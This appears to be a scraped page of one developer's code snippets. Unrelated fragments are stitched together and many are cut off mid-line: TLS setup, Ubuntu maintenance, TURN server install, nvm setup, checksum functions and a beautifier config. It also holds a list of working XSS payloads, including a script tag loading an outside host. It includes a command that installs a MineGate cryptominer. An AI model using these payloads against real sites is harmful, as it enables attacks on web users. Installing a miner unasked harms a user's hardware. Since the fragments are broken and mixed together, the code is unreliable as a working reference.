Ben Who benjamin658

Node.js TLS plain TLS sockets

This guide shows how to set up a bidirectional client/server authentication for plain TLS sockets.

Newer versions of openssl are stricter about certificate purposes. Use extensions accordingly.

Prepare certificates

Generate a Certificate Authority:

Safest way to clean up boot partition - Ubuntu 14.04LTS-x64, Ubuntu 16.04LTS-x64

Reference

Case I: if /boot is not 100% full and apt is working

1. Check the current kernel version

$ uname -r

Turn Server Installation Documentation

change the package according to your server

wget http://turnserver.open-sys.org/downloads/v3.2.4.4/turnserver-3.2.4.4-debian-wheezy-ubuntu-
mint-x86-64bits.tar.gz

tar -zxvf turnserver-3.2.4.4-debian-wheezy-ubuntu-mint-x86-64bits.tar.gz

wget http://github.com/downloads/libevent/libevent/libevent-2.0.21-stable.tar.gz

	#!/bin/bash
	apt-get -y update
	cat > /tmp/subscript.sh << EOF
	# START UBUNTU USERSPACE
	echo "Setting up NodeJS Environment"
	curl -o- https://raw.githubusercontent.com/creationix/nvm/v0.33.9/install.sh \| bash
	echo 'export NVM_DIR="/home/ubuntu/.nvm"' >> /home/ubuntu/.bashrc
	echo '[ -s "$NVM_DIR/nvm.sh" ] && . "$NVM_DIR/nvm.sh" # This loads nvm' >> /home/ubuntu/.bashrc
	# Dot source the files to ensure that variables are available within the current shell
	. /home/ubuntu/.nvm/nvm.sh

	var fs = require('fs');
	var crypto = require('crypto');

	fs.readFile('file.pdf', function(err, data) {
	var checksum = generateChecksum(data);
	console.log(checksum);
	});

	function generateChecksum(str, algorithm, encoding) {
	return crypto

	# maximum capability of system
	user@ubuntu:~$ cat /proc/sys/fs/file-max
	708444

	# available limit
	user@ubuntu:~$ ulimit -n
	1024

	# To increase the available limit to say 200000
	user@ubuntu:~$ sudo vim /etc/sysctl.conf

	// BSD-16
	// From: en.wikipedia.org/wiki/BSD_checksum
	function bsd16(data) {
	for(var i = 0, c = 0; i < data.length; i++) {
	c = (c>>1) + ((c&1) << 15);
	c += data[i];
	c &= 0xffff;
	}
	return c;
	}

	Run this command to install MG-CLI:
	sudo apt-get update && wget https://minergate.com/download/deb-cli -O minergate-cli.deb && sudo dpkg -i minergate-cli.deb

	to start miner (4 cores for BCN) use this command:
	minergate-cli -user <[email protected]> -bcn 4


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	'';!--"<XSS>=&{()}
	0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
	<script/src=data:,alert()>
	<marquee/onstart=alert()>
	<video/poster/onerror=alert()>
	<isindex/autofocus/onfocus=alert()>
	<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
	<IMG SRC="javascript:alert('XSS');">
	<IMG SRC=javascript:alert('XSS')>

	// Documentation: https://github.com/beautify-web/js-beautify
	// Example URL: https://github.com/victorporof/Sublime-HTMLPrettify/blob/master/.jsbeautifyrc
	// Based on Airbnb's JavaScript Style Guide, URL: https://github.com/airbnb/javascript
	{
	// Collapse curly brackets
	"brace_style": "collapse",

	// Break chained method calls across subsequent lines
	"break_chained_methods": true,